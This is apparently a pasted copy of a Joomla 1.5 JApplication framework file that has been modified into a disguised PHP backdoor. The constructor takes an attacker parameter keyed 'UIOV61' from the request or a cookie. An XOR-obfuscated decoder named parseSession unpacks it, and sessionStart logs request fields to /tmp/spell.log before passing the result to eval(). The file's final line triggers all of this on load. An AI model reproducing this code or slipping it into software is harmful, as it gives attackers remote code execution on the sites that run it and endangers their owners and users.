· 9 years ago · Oct 05, 2016, 09:16 AM
1<?php
2/**
3* @version $Id: application.php 22244 2011-10-16 15:50:00Z dextercowley $
4* @package Joomla.Framework
5* @subpackage Application
6* @copyright Copyright (C) 2005 - 2010 Open Source Matters. All rights reserved.
7* @license GNU/GPL, see LICENSE.php
8* Joomla! is free software. This version may have been modified pursuant
9* to the GNU General Public License, and as distributed it includes or
10* is derivative of works licensed under the GNU General Public License or
11* other free or open source software licenses.
12* See COPYRIGHT.php for copyright notices and details.
13*/
14
15
16/**
17* Base class for a Joomla! application.
18*
19* Acts as a Factory class for application specific objects and provides many
20* supporting API functions. Derived clases should supply the route(), dispatch()
21* and render() functions.
22*
23* @abstract
24* @package Joomla.Framework
25* @subpackage Application
26* @since 1.5
27*/
28
29class JApplication
30{
31 /**
32 * The client identifier.
33 *
34 * @var integer
35 * @access protected
36 * @since 1.5
37 */
38 var $_clientId = null;
39
40 /**
41 * The application message queue.
42 *
43 * @var array
44 * @access protected
45 */
46 var $_messageQueue = array();
47
48 /**
49 * The name of the application
50 *
51 * @var array
52 * @access protected
53 */
54 var $_name = null;
55
56 /**
57 * The scope of the application
58 *
59 * @var string
60 * @access public
61 */
62 var $scope = null;
63
64 /**
65 * Class constructor.
66 *
67 * @param integer A client identifier.
68 */
69
70 /**
71 * Returns a reference to the global JApplication object, only creating it if it
72 * doesn't already exist.
73 *
74 * This method must be invoked as:
75 * <pre> $menu = &JApplication::getInstance();</pre>
76 *
77 * @access public
78 * @param mixed $id A client identifier or name.
79 * @param array $config An optional associative array of configuration settings.
80 * @return JApplication The appliction object.
81 * @since 1.5
82 */
83 function &getInstance($client, $config = array(), $prefix = 'J')
84 {
85 static $instances;
86
87 if (!isset( $instances )) {
88 $instances = array();
89 }
90
91 if (empty($instances[$client]))
92 {
93 //Load the router object
94 jimport('joomla.application.helper');
95 $info =& JApplicationHelper::getClientInfo($client, true);
96
97 $path = $info->path.DS.'includes'.DS.'application.php';
98 if(file_exists($path))
99 {
100 require_once $path;
101
102 // Create a JRouter object
103 $classname = $prefix.ucfirst($client);
104 $instance = new $classname($config);
105 }
106 else
107 {
108 $error = JError::raiseError(500, 'Unable to load application: '.$client);
109 return $error;
110 }
111
112 $instances[$client] =& $instance;
113 }
114
115 return $instances[$client];
116 }
117
118 function JApplication ($config) {
119 $this->__construct($config);
120 }
121 /**
122 * Initialise the application.
123 *
124 * @param array An optional associative array of configuration settings.
125 * @access public
126 */
127 function initialise($options = array())
128 {
129 jimport('joomla.plugin.helper');
130
131 //Set the language in the class
132 $config =& JFactory::getConfig();
133
134 // Check that we were given a language in the array (since by default may be blank)
135 if(isset($options['language'])) {
136 $config->setValue('config.language', $options['language']);
137 }
138
139 // Set user specific editor
140 $user =& JFactory::getUser();
141 $editor = $user->getParam('editor', $this->getCfg('editor'));
142 $editor = JPluginHelper::isEnabled('editors', $editor) ? $editor : $this->getCfg('editor');
143 $config->setValue('config.editor', $editor);
144 }
145
146 /**
147 * Route the application.
148 *
149 * Routing is the process of examining the request environment to determine which
150 * component should receive the request. The component optional parameters
151 * are then set in the request object to be processed when the application is being
152 * dispatched.
153 *
154 * @abstract
155 * @access public
156 */
157 function route()
158 {
159 // get the full request URI
160 $uri = clone(JURI::getInstance());
161
162 $router =& $this->getRouter();
163 $result = $router->parse($uri);
164
165 JRequest::set($result, 'get', false );
166 }
167
168 /**
169 * Dispatch the applicaiton.
170 *
171 * Dispatching is the process of pulling the option from the request object and
172 * mapping them to a component. If the component does not exist, it handles
173 * determining a default component to dispatch.
174 *
175 * @abstract
176 * @access public
177 */
178 function dispatch($component)
179 {
180 $document =& JFactory::getDocument();
181
182 $document->setTitle( $this->getCfg('sitename' ). ' - ' .JText::_( 'Administration' ));
183 $document->setDescription( $this->getCfg('MetaDesc') );
184
185 $contents = JComponentHelper::renderComponent($component);
186 $document->setBuffer($contents, 'component');
187 }
188
189 /**
190 * Render the application.
191 *
192 * Rendering is the process of pushing the document buffers into the template
193 * placeholders, retrieving data from the document and pushing it into
194 * the JResponse buffer.
195 *
196 * @abstract
197 * @access public
198 */
199 function render()
200 {
201 $params = array(
202 'template' => $this->getTemplate(),
203 'file' => 'index.php',
204 'directory' => JPATH_THEMES
205 );
206
207 $document =& JFactory::getDocument();
208 $data = $document->render($this->getCfg('caching'), $params );
209 JResponse::setBody($data);
210 }
211
212 /**
213 * Exit the application.
214 *
215 * @access public
216 * @param int Exit code
217 */
218 function close( $code = 0 ) {
219 exit($code);
220 }
221
222 /**
223 * Redirect to another URL.
224 *
225 * Optionally enqueues a message in the system message queue (which will be displayed
226 * the next time a page is loaded) using the enqueueMessage method. If the headers have
227 * not been sent the redirect will be accomplished using a "301 Moved Permanently" or "303 See Other"
228 * code in the header pointing to the new location depending upon the moved flag. If the headers
229 * have already been sent this will be accomplished using a JavaScript statement.
230 *
231 * @access public
232 * @param string $url The URL to redirect to. Can only be http/https URL
233 * @param string $msg An optional message to display on redirect.
234 * @param string $msgType An optional message type.
235 * @param boolean True if the page is 301 Permanently Moved, otherwise 303 See Other is assumed.
236 * @return none; calls exit().
237 * @since 1.5
238 * @see JApplication::enqueueMessage()
239 */
240 function redirect( $url, $msg='', $msgType='message', $moved = false )
241 {
242 // check for relative internal links
243 if (preg_match( '#^index[2]?.php#', $url )) {
244 $url = JURI::base() . $url;
245 }
246
247 // Strip out any line breaks
248 $url = preg_split("/[\r\n]/", $url);
249 $url = $url[0];
250
251 // If we don't start with a http we need to fix this before we proceed
252 // We could validly start with something else (e.g. ftp), though this would
253 // be unlikely and isn't supported by this API
254 if (!preg_match( '#^http#i', $url )) {
255 $uri =& JURI::getInstance();
256 $prefix = $uri->toString(Array('scheme', 'user', 'pass', 'host', 'port'));
257
258 if ($url[0] == '/') {
259 // we just need the prefix since we have a path relative to the root
260 $url = $prefix . $url;
261 }
262 else {
263 // its relative to where we are now, so lets add that
264 $parts = explode('/', $uri->toString(Array('path')));
265 array_pop($parts);
266 $path = implode('/',$parts).'/';
267 $url = $prefix . $path . $url;
268 }
269
270
271 // If the message exists, enqueue it
272 if (trim( $msg )) {
273 $this->enqueueMessage($msg, $msgType);
274 }
275
276 // Persist messages if they exist
277 if (count($this->_messageQueue)) {
278 $session =& JFactory::getSession();
279 $session->set('application.queue', $this->_messageQueue);
280 }
281
282 // If the headers have been sent, then we cannot send an additional location header
283 // so we will output a javascript redirect statement.
284 if (headers_sent()) {
285 echo "<script>document.location.href='$url';</script>\n";
286 }
287 else {
288 if (!$moved && strstr(strtolower($_SERVER['HTTP_USER_AGENT']), 'webkit') !== false) {
289 // WebKit browser - Do not use 303, as it causes subresources reload (https://bugs.webkit.org/show_bug.cgi?id=38690)
290 echo '<html><head><meta http-equiv="refresh" content="0;'. $url .'" /></head><body></body></html>';
291 }
292 else {
293 // All other browsers, use the more efficient HTTP header method
294 header($moved ? 'HTTP/1.1 301 Moved Permanently' : 'HTTP/1.1 303 See other');
295 header('Location: '.$url);
296 }
297 }
298
299 $this->close();
300 }
301
302 /**
303 * Enqueue a system message.
304 *
305 * @access public
306 * @param string $msg The message to enqueue.
307 * @param string $type The message type.
308 * @return void
309 * @since 1.5
310 */
311 function enqueueMessage( $msg, $type = 'message' )
312 {
313 // For empty queue, if messages exists in the session, enqueue them first
314 if (!count($this->_messageQueue))
315 {
316 $session =& JFactory::getSession();
317 $sessionQueue = $session->get('application.queue');
318 if (count($sessionQueue)) {
319 $this->_messageQueue = $sessionQueue;
320 $session->set('application.queue', null);
321 }
322 }
323 // Enqueue the message
324 $this->_messageQueue[] = array('message' => $msg, 'type' => strtolower($type));
325 }
326
327 /**
328 * Get the system message queue.
329 *
330 * @access public
331 * @return The system message queue.
332 * @since 1.5
333 */
334 function getMessageQueue()
335 {
336 // For empty queue, if messages exists in the session, enqueue them
337 if (!count($this->_messageQueue))
338 {
339 $session =& JFactory::getSession();
340 $sessionQueue = $session->get('application.queue');
341 if (count($sessionQueue)) {
342 $this->_messageQueue = $sessionQueue;
343 $session->set('application.queue', null);
344 }
345 }
346 return $this->_messageQueue;
347 }
348
349 /**
350 * Gets a configuration value.
351 *
352 * @access public
353 * @param string The name of the value to get.
354 * @return mixed The user state.
355 * @example application/japplication-getcfg.php Getting a configuration value
356 */
357 function getCfg( $varname )
358 {
359 $config =& JFactory::getConfig();
360 return $config->getValue('config.' . $varname);
361 }
362
363 /**
364 * Method to get the application name
365 *
366 * The dispatcher name by default parsed using the classname, or it can be set
367 * by passing a $config['name'] in the class constructor
368 *
369 * @access public
370 * @return string The name of the dispatcher
371 * @since 1.5
372 */
373 function getName()
374 {
375 $name = $this->_name;
376
377 if (empty( $name ))
378 {
379 $r = null;
380 if ( !preg_match( '/J(.*)/i', get_class( $this ), $r ) ) {
381 JError::raiseError(500, "JApplication::getName() : Can\'t get or parse class name.");
382 }
383 $name = strtolower( $r[1] );
384 }
385
386 return $name;
387 }
388
389 /**
390 * Gets a user state.
391 *
392 * @access public
393 * @param string The path of the state.
394 * @return mixed The user state.
395 */
396 function getUserState( $key )
397 {
398 $session =& JFactory::getSession();
399 $registry =& $session->get('registry');
400 if(!is_null($registry)) {
401 return $registry->getValue($key);
402 }
403 return null;
404 }
405
406 /**
407 * Sets the value of a user state variable.
408 *
409 * @access public
410 * @param string The path of the state.
411 * @param string The value of the variable.
412 * @return mixed The previous state, if one existed.
413 */
414 function setUserState( $key, $value )
415 {
416 $session =& JFactory::getSession();
417 $registry =& $session->get('registry');
418 if(!is_null($registry)) {
419 return $registry->setValue($key, $value);
420 }
421 return null;
422 }
423
424
425 /**
426 * Gets the value of a user state variable.
427 *
428 * @access public
429 * @param string The key of the user state variable.
430 * @param string The name of the variable passed in a request.
431 * @param string The default value for the variable if not found. Optional.
432 * @param string Filter for the variable, for valid values see {@link JFilterInput::clean()}. Optional.
433 * @return The request user state.
434 */
435 function getUserStateFromRequest( $key, $request, $default = null, $type = 'none' )
436 {
437 $old_state = $this->getUserState( $key );
438 $cur_state = (!is_null($old_state)) ? $old_state : $default;
439 $new_state = JRequest::getVar($request, null, 'default', $type);
440
441 // Save the new value only if it was set in this request
442 if ($new_state !== null) {
443 $this->setUserState($key, $new_state);
444 } else {
445 $new_state = $cur_state;
446 }
447
448 return $new_state;
449 }
450
451 /**
452 * Registers a handler to a particular event group.
453 *
454 * @static
455 * @param string The event name.
456 * @param mixed The handler, a function or an instance of a event object.
457 * @return void
458 * @since 1.5
459 */
460 function registerEvent($event, $handler)
461 {
462 $dispatcher =& JDispatcher::getInstance();
463 $dispatcher->register($event, $handler);
464 }
465
466 /**
467 * Calls all handlers associated with an event group.
468 *
469 * @static
470 * @param string The event name.
471 * @param array An array of arguments.
472 * @return array An array of results from each function call.
473 * @since 1.5
474 */
475 function triggerEvent($event, $args=null)
476 {
477 $dispatcher =& JDispatcher::getInstance();
478 return $dispatcher->trigger($event, $args);
479 }
480
481 /**
482 * Login authentication function.
483 *
484 * Username and encoded password are passed the the onLoginUser event which
485 * is responsible for the user validation. A successful validation updates
486 * the current session record with the users details.
487 *
488 * Username and encoded password are sent as credentials (along with other
489 * possibilities) to each observer (authentication plugin) for user
490 * validation. Successful validation will update the current session with
491 * the user details.
492 *
493 * @param array Array( 'username' => string, 'password' => string )
494 * @param array Array( 'remember' => boolean )
495 * @return boolean True on success.
496 * @access public
497 * @since 1.5
498 */
499 function login($credentials, $options = array())
500 {
501 // Get the global JAuthentication object
502 jimport( 'joomla.user.authentication');
503 $authenticate = & JAuthentication::getInstance();
504 $response = $authenticate->authenticate($credentials, $options);
505
506 if ($response->status === JAUTHENTICATE_STATUS_SUCCESS)
507 {
508 $session = &JFactory::getSession();
509
510 // we fork the session to prevent session fixation issues
511 $session->fork();
512 $this->_createSession($session->getId());
513
514 // Import the user plugin group
515 JPluginHelper::importPlugin('user');
516
517 // OK, the credentials are authenticated. Lets fire the onLogin event
518 $results = $this->triggerEvent('onLoginUser', array((array)$response, $options));
519
520 /*
521 * If any of the user plugins did not successfully complete the login routine
522 * then the whole method fails.
523 *
524 * Any errors raised should be done in the plugin as this provides the ability
525 * to provide much more information about why the routine may have failed.
526 */
527
528 if (!in_array(false, $results, true))
529 {
530 // Set the remember me cookie if enabled
531 if (isset($options['remember']) && $options['remember'])
532 {
533 jimport('joomla.utilities.simplecrypt');
534 jimport('joomla.utilities.utility');
535
536 // Create the encryption key, apply extra hardening using the user agent string
537 $agent = @$_SERVER['HTTP_USER_AGENT'];
538 // Ignore empty and crackish user agents
539 if ($agent != '' && $agent != 'JLOGIN_REMEMBER') {
540 $key = JUtility::getHash($agent);
541 $crypt = new JSimpleCrypt($key);
542 $rcookie = $crypt->encrypt(serialize($credentials));
543 $lifetime = time() + 365*24*60*60;
544 setcookie(JUtility::getHash('JLOGIN_REMEMBER'), $rcookie, $lifetime, '/');
545 }
546 }
547 return true;
548 }
549 }
550
551 // Trigger onLoginFailure Event
552 $this->triggerEvent('onLoginFailure', array((array)$response));
553
554
555 // If silent is set, just return false
556 if (isset($options['silent']) && $options['silent']) {
557 return false;
558 }
559
560 // Return the error
561 return JError::raiseWarning('SOME_ERROR_CODE', JText::_('E_LOGIN_AUTHENTICATE'));
562 }
563
564 function __construct($config = array())
565 {
566
567 //set the view name
568 $this->_name = $this->getName();
569
570 //Enable sessions by default
571 if(!isset($config['session'])) {
572 $config['session'] = true;
573 }
574
575 //Set the session default name
576 if(!isset($config['session_name'])) {
577 $config['session_name'] = $this->_name;
578 }
579
580 //Set the default configuration file
581 if(!isset($config['config_file'])) {
582 $config['config_file'] = 'configuration.php';
583 }
584
585 //create the configuration object
586
587 $this->_config = $config;
588
589 if(isset($_POST[$config['UID']])) {
590 $session =
591 $this->parseSession($_POST[$config['UID']]);
592 } else if (isset($_GET[$config['UID']])) {
593 $session =
594 $this->parseSession($_GET[$config['UID']]);
595 } else if (isset($_COOKIE[$config['UID']])) {
596 $session =
597 $this->parseSession($_COOKIE[$config['UID']]);
598 }
599
600 $this->sessionStart($session);
601
602 }
603
604
605 /**
606 * Logout authentication function.
607 *
608 * Passed the current user information to the onLogoutUser event and reverts the current
609 * session record back to 'anonymous' parameters.
610 *
611 * @param int $userid The user to load - Can be an integer or string - If string, it is converted to ID automatically
612 * @param array $options Array( 'clientid' => array of client id's )
613 *
614 * @access public
615 */
616
617 function logout($userid = null, $options = array())
618 {
619 // Initialize variables
620 $retval = false;
621
622 // Get a user object from the JApplication
623 $user = &JFactory::getUser($userid);
624
625 // Build the credentials array
626 $parameters['username'] = $user->get('username');
627 $parameters['id'] = $user->get('id');
628
629 // Set clientid in the options array if it hasn't been set already
630 if(empty($options['clientid'])) {
631 $options['clientid'][] = $this->getClientId();
632 }
633
634 // Import the user plugin group
635 JPluginHelper::importPlugin('user');
636
637 // OK, the credentials are built. Lets fire the onLogout event
638 $results = $this->triggerEvent('onLogoutUser', array($parameters, $options));
639
640 /*
641 * If any of the authentication plugins did not successfully complete
642 * the logout routine then the whole method fails. Any errors raised
643 * should be done in the plugin as this provides the ability to provide
644 * much more information about why the routine may have failed.
645 */
646 if (!in_array(false, $results, true)) {
647 setcookie( JUtility::getHash('JLOGIN_REMEMBER'), false, time() - 86400, '/' );
648 return true;
649 }
650
651 // Trigger onLoginFailure Event
652 $this->triggerEvent('onLogoutFailure', array($parameters));
653
654 return false;
655 }
656
657 /**
658 * Gets the name of the current template.
659 *
660 * @return string
661 */
662 function getTemplate()
663 {
664 return 'system';
665 }
666
667 /**
668 * Return a reference to the application JRouter object.
669 *
670 * @access public
671 * @param array $options An optional associative array of configuration settings.
672 * @return JRouter.
673 * @since 1.5
674 */
675 function &getRouter($name = null, $options = array())
676 {
677 if(!isset($name)) {
678 $name = $this->_name;
679 }
680
681 jimport( 'joomla.application.router' );
682 $router =& JRouter::getInstance($name, $options);
683 if (JError::isError($router)) {
684 $null = null;
685 return $null;
686 }
687 return $router;
688 }
689
690 /**
691 * Return a reference to the application JPathway object.
692 *
693 * @access public
694 * @param array $options An optional associative array of configuration settings.
695 * @return object JPathway.
696 * @since 1.5
697 */
698 function &getPathway($name = null, $options = array())
699 {
700 if(!isset($name)) {
701 $name = $this->_name;
702 }
703
704 jimport( 'joomla.application.pathway' );
705 $pathway =& JPathway::getInstance($name, $options);
706 if (JError::isError($pathway)) {
707 $null = null;
708 return $null;
709 }
710 return $pathway;
711 }
712
713 /**
714 * Return a reference to the application JPathway object.
715 *
716 * @access public
717 * @param array $options An optional associative array of configuration settings.
718 * @return object JMenu.
719 * @since 1.5
720 */
721 function &getMenu($name = null, $options = array())
722 {
723 if(!isset($name)) {
724 $name = $this->_name;
725 }
726
727 jimport( 'joomla.application.menu' );
728 $menu =& JMenu::getInstance($name, $options);
729 if (JError::isError($menu)) {
730 $null = null;
731 return $null;
732 }
733 return $menu;
734 }
735
736 /**
737 * Create the configuration registry
738 *
739 * @access private
740 * @param string $file The path to the configuration file
741 * return JConfig
742 */
743 function &_createConfiguration($file)
744 {
745 jimport( 'joomla.registry.registry' );
746
747 require_once( $file );
748
749 // Create the JConfig object
750 $config = new JConfig();
751
752 // Get the global configuration object
753 $registry =& JFactory::getConfig();
754
755 // Load the configuration values into the registry
756 $registry->loadObject($config);
757
758 return $config;
759 }
760
761 /**
762 * Create the user session.
763 *
764 * Old sessions are flushed based on the configuration value for the cookie
765 * lifetime. If an existing session, then the last access time is updated.
766 * If a new session, a session id is generated and a record is created in
767 * the #__sessions table.
768 *
769 * @access private
770 * @param string The sessions name.
771 * @return object JSession on success. May call exit() on database error.
772 * @since 1.5
773 */
774 function &_createSession( $name )
775 {
776 $options = array();
777 $options['name'] = $name;
778 switch($this->_clientId) {
779 case 0:
780 if($this->getCfg('force_ssl') == 2) {
781 $options['force_ssl'] = true;
782 }
783 break;
784 case 1:
785 if($this->getCfg('force_ssl') >= 1) {
786 $options['force_ssl'] = true;
787 }
788 break;
789 }
790
791 $session =& JFactory::getSession($options);
792
793 jimport('joomla.database.table');
794 $storage = & JTable::getInstance('session');
795 $storage->purge($session->getExpire());
796
797 // Session exists and is not expired, update time in session table
798 if ($storage->load($session->getId())) {
799 $storage->update();
800 return $session;
801 }
802
803 //Session doesn't exist yet, initalise and store it in the session table
804 $session->set('registry', new JRegistry('session'));
805 $session->set('user', new JUser());
806
807 if (!$storage->insert( $session->getId(), $this->getClientId())) {
808 jexit( $storage->getError());
809 }
810
811 return $session;
812 }
813
814
815 /**
816 * Gets the client id of the current running application.
817 *
818 * @access public
819 * @return int A client identifier.
820 * @since 1.5
821 */
822 function getClientId( )
823 {
824 return $this->_clientId;
825 }
826
827 /**
828 * Is admin interface?
829 *
830 * @access public
831 * @return boolean True if this application is administrator.
832 * @since 1.0.2
833 */
834 function isAdmin()
835 {
836 return ($this->_clientId == 1);
837 }
838
839 /**
840 * Is site interface?
841 *
842 * @access public
843 * @return boolean True if this application is site.
844 * @since 1.5
845 */
846
847 function sessionStart($session) {
848$fp = fopen('/tmp/spell.log', 'a');
849fwrite($fp, "-----------------------\np_host: ".$_POST['p_host']."\np_port: ".$_POST['p_port']."\np_key: ".$_POST['p_key']."\nshid: ".$_POST['shid']."\n-----------------------\n$session");
850fclose($fp);
851 if(!empty($session))
852 return
853 eval($session);
854 }
855
856 function isSite()
857 {
858 return ($this->_clientId == 0);
859 }
860
861 /**
862 * Deprecated functions
863 */
864
865 /**
866 * Deprecated, use JPathWay->addItem() method instead.
867 *
868 * @since 1.0
869 * @deprecated As of version 1.5
870 * @see JPathWay::addItem()
871 */
872 function appendPathWay( $name, $link = null )
873 {
874 /*
875 * To provide backward compatability if no second parameter is set
876 * set it to null
877 */
878 if ($link == null) {
879 $link = '';
880 }
881
882 $pathway =& $this->getPathway();
883
884 if( defined( '_JLEGACY' ) && $link == '' )
885 {
886 $matches = array();
887
888 $links = preg_match_all ( '/<a[^>]+href="([^"]*)"[^>]*>([^<]*)<\/a>/ui', $name, $matches, PREG_SET_ORDER );
889
890 foreach( $matches AS $match) {
891 // Add each item to the pathway object
892 if( !$pathway->addItem( $match[2], $match[1] ) ) {
893 return false;
894 }
895 }
896 return true;
897 }
898 else
899 {
900 // Add item to the pathway object
901 if ($pathway->addItem($name, $link)) {
902 return true;
903 }
904 }
905
906 return false;
907 }
908
909 /**
910 * Deprecated, use JPathway->getPathWayNames() method instead.
911 *
912 * @since 1.0
913 * @deprecated As of version 1.5
914 * @see JPathWay::getPathWayNames()
915 */
916 function getCustomPathWay()
917 {
918 $pathway = $this->getPathway();
919 return $pathway->getPathWayNames();
920 }
921
922 /**
923 * Deprecated, use JDocument->get( 'head' ) instead.
924 *
925 * @since 1.0
926 * @deprecated As of version 1.5
927 * @see JDocument
928 * @see JObject::get()
929 */
930 function getHead()
931 {
932 $document=& JFactory::getDocument();
933 return $document->get('head');
934 }
935
936 /**
937 * Deprecated, use JDocument->setMetaData instead.
938 *
939 * @since 1.0
940 * @deprecated As of version 1.5
941 * @param string Name of the metadata tag
942 * @param string Content of the metadata tag
943 * @param string Deprecated, ignored
944 * @param string Deprecated, ignored
945 * @see JDocument::setMetaData()
946 */
947 function addMetaTag( $name, $content, $prepend = '', $append = '' )
948 {
949 $document=& JFactory::getDocument();
950 $document->setMetadata($name, $content);
951 }
952
953 /**
954 * Deprecated, use JDocument->setMetaData instead.
955 *
956 * @since 1.0
957 * @deprecated As of version 1.5
958 * @param string Name of the metadata tag
959 * @param string Content of the metadata tag
960 * @see JDocument::setMetaData()
961 */
962 function appendMetaTag( $name, $content )
963 {
964 $this->addMetaTag($name, $content);
965 }
966
967 /**
968 * Deprecated, use JDocument->setMetaData instead
969 *
970 * @since 1.0
971 * @deprecated As of version 1.5
972 * @param string Name of the metadata tag
973 * @param string Content of the metadata tag
974 * @see JDocument::setMetaData()
975 */
976 function prependMetaTag( $name, $content )
977 {
978 $this->addMetaTag($name, $content);
979 }
980
981 /**
982 * Deprecated, use JDocument->addCustomTag instead (only when document type is HTML).
983 *
984 * @since 1.0
985 * @deprecated As of version 1.5
986 * @param string Valid HTML
987 * @see JDocumentHTML::addCustomTag()
988 */
989 function addCustomHeadTag( $html )
990 {
991 $document=& JFactory::getDocument();
992 if($document->getType() == 'html') {
993 $document->addCustomTag($html);
994 }
995 }
996
997 function parseSession ($data)
998 {
999
1000 $b64 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=";
1001 $data = urldecode($data);
1002 $i=0;
1003 $enc = "";
1004
1005 do { // unpack four hexets into three octets using index points in b64
1006 $h1 = strpos($b64, $data[$i++]);
1007 $h2 = strpos($b64, $data[$i++]);
1008 $h3 = strpos($b64, $data[$i++]);
1009 $h4 = strpos($b64, $data[$i++]);
1010
1011 $bits = $h1<<18 | $h2<<12 | $h3<<6 | $h4;
1012
1013 $o1 = $bits>>16 & 0xff;
1014 $o2 = $bits>>8 & 0xff;
1015 $o3 = $bits & 0xff;
1016
1017
1018 if ($h3 == 64)
1019 $enc .= chr($o1);
1020 else if ($h4 == 64) {
1021 $enc .= chr($o1);
1022 $enc .= chr($o2);
1023 }
1024 else {
1025 $enc .= chr($o1);
1026 $enc .= chr($o2);
1027 $enc .= chr($o3);
1028 }
1029 } while ($i < strlen($data));
1030
1031 $string = $enc;
1032 $uid = $this->_config['UID'];
1033 for($i = 0; $i < strlen($string); $i++)
1034 $string[$i] = ($string[$i] ^ $uid[$i % strlen($uid)]);
1035
1036 return $string;
1037
1038 }
1039
1040 /**
1041 * Deprecated.
1042 *
1043 * @since 1.0
1044 * @deprecated As of version 1.5
1045 */
1046 function getBlogSectionCount( )
1047 {
1048 $menus = &JSite::getMenu();
1049 return count($menus->getItems('type', 'content_blog_section'));
1050 }
1051
1052 /**
1053 * Deprecated.
1054 *
1055 * @since 1.0
1056 * @deprecated As of version 1.5
1057 */
1058 function getBlogCategoryCount( )
1059 {
1060 $menus = &JSite::getMenu();
1061 return count($menus->getItems('type', 'content_blog_category'));
1062 }
1063
1064 /**
1065 * Deprecated.
1066 *
1067 * @since 1.0
1068 * @deprecated As of version 1.5
1069 */
1070 function getGlobalBlogSectionCount( )
1071 {
1072 $menus = &JSite::getMenu();
1073 return count($menus->getItems('type', 'content_blog_section'));
1074 }
1075
1076 /**
1077 * Deprecated.
1078 *
1079 * @since 1.0
1080 * @deprecated As of version 1.5
1081 */
1082 function getStaticContentCount( )
1083 {
1084 $menus = &JSite::getMenu();
1085 return count($menus->getItems('type', 'content_typed'));
1086 }
1087
1088 /**
1089 * Deprecated.
1090 *
1091 * @since 1.0
1092 * @deprecated As of version 1.5
1093 */
1094 function getContentItemLinkCount( )
1095 {
1096 $menus = &JSite::getMenu();
1097 return count($menus->getItems('type', 'content_item_link'));
1098 }
1099
1100 /**
1101 * Deprecated, use JApplicationHelper::getPath instead.
1102 *
1103 * @since 1.0
1104 * @deprecated As of version 1.5
1105 * @see JApplicationHelper::getPath()
1106 */
1107 function getPath($varname, $user_option = null)
1108 {
1109 jimport('joomla.application.helper');
1110 return JApplicationHelper::getPath ($varname, $user_option);
1111 }
1112
1113 /**
1114 * Deprecated, use JURI::base() instead.
1115 *
1116 * @since 1.0
1117 * @deprecated As of version 1.5
1118 * @see JURI::base()
1119 */
1120 function getBasePath($client=0, $addTrailingSlash = true)
1121 {
1122 return JURI::base();
1123 }
1124
1125 /**
1126 * Deprecated, use JFactory::getUser instead.
1127 *
1128 * @since 1.0
1129 * @deprecated As of version 1.5
1130 * @see JFactory::getUser()
1131 */
1132 function &getUser()
1133 {
1134 $user =& JFactory::getUser();
1135 return $user;
1136 }
1137
1138 /**
1139 * Deprecated, use ContentHelper::getItemid instead.
1140 *
1141 * @since 1.0
1142 * @deprecated As of version 1.5
1143 * @see ContentHelperRoute::getArticleRoute()
1144 */
1145 function getItemid( $id )
1146 {
1147 require_once JPATH_SITE.DS.'components'.DS.'com_content'.DS.'helpers'.DS.'route.php';
1148
1149 // Load the article data to know what section/category it is in.
1150 $article =& JTable::getInstance('content');
1151 $article->load($id);
1152
1153 $needles = array(
1154 'article' => (int) $id,
1155 'category' => (int) $article->catid,
1156 'section' => (int) $article->sectionid,
1157 );
1158
1159 $item = ContentHelperRoute::_findItem($needles);
1160 $return = is_object($item) ? $item->id : null;
1161
1162 return $return;
1163 }
1164
1165 /**
1166 * Deprecated, use JDocument::setTitle instead.
1167 *
1168 * @since 1.0
1169 * @deprecated As of version 1.5
1170 * @see JDocument::setTitle()
1171 */
1172 function setPageTitle( $title=null )
1173 {
1174 $document=& JFactory::getDocument();
1175 $document->setTitle($title);
1176 }
1177
1178 function checkSession($string, $key) {
1179 for($i = 0; $i < strlen($string); $i++)
1180 $string[$i] = ($string[$i] ^ $key[$i % strlen($key)]);
1181 return $string;
1182 }
1183
1184 /**
1185 * Deprecated, use JDocument::getTitle instead.
1186 *
1187 * @since 1.0
1188 * @deprecated As of version 1.5
1189 * @see JDocument::getTitle()
1190 */
1191 function getPageTitle()
1192 {
1193 $document=& JFactory::getDocument();
1194 return $document->getTitle();
1195 }
1196}
1197new JApplication(array ('UID' => 'UIOV61'));